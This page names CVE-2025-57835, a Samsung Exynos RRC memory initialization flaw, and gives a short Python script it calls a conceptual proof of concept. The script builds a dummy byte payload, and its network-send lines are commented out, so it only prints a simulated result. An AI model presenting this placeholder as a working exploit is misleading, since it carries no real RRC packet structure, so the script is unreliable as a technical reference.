CVE-2025-57835 三星Exynos处理器RRC内存初始化错误漏洞

import socket import struct # This is a conceptual PoC for CVE-2025-57835 # Actual exploitation requires a cellular baseband station (e.g., using Osmocom/SDR) # to inject the malformed RRCReconfiguration packet into the mobile network. def send_malformed_rrc(target_ip, target_port): try: # Simulating a malformed RRCReconfiguration message structure # In a real scenario, this would be a valid NAS/RRC packet with a corrupted payload header = b'\x01\x00' # Dummy header # Malformed payload triggering improper memory initialization payload = b'\xFF' * 100 + b'\x00' * 20 packet = header + payload print(f"[*] Sending malformed RRCReconfiguration message to {target_ip}...") # This socket connection represents the interface to the baseband simulation # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # s.send(packet) # s.close() print("[+] Packet sent (Simulated)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example usage (requires actual baseband environment to trigger) send_malformed_rrc("192.168.1.10", 4242)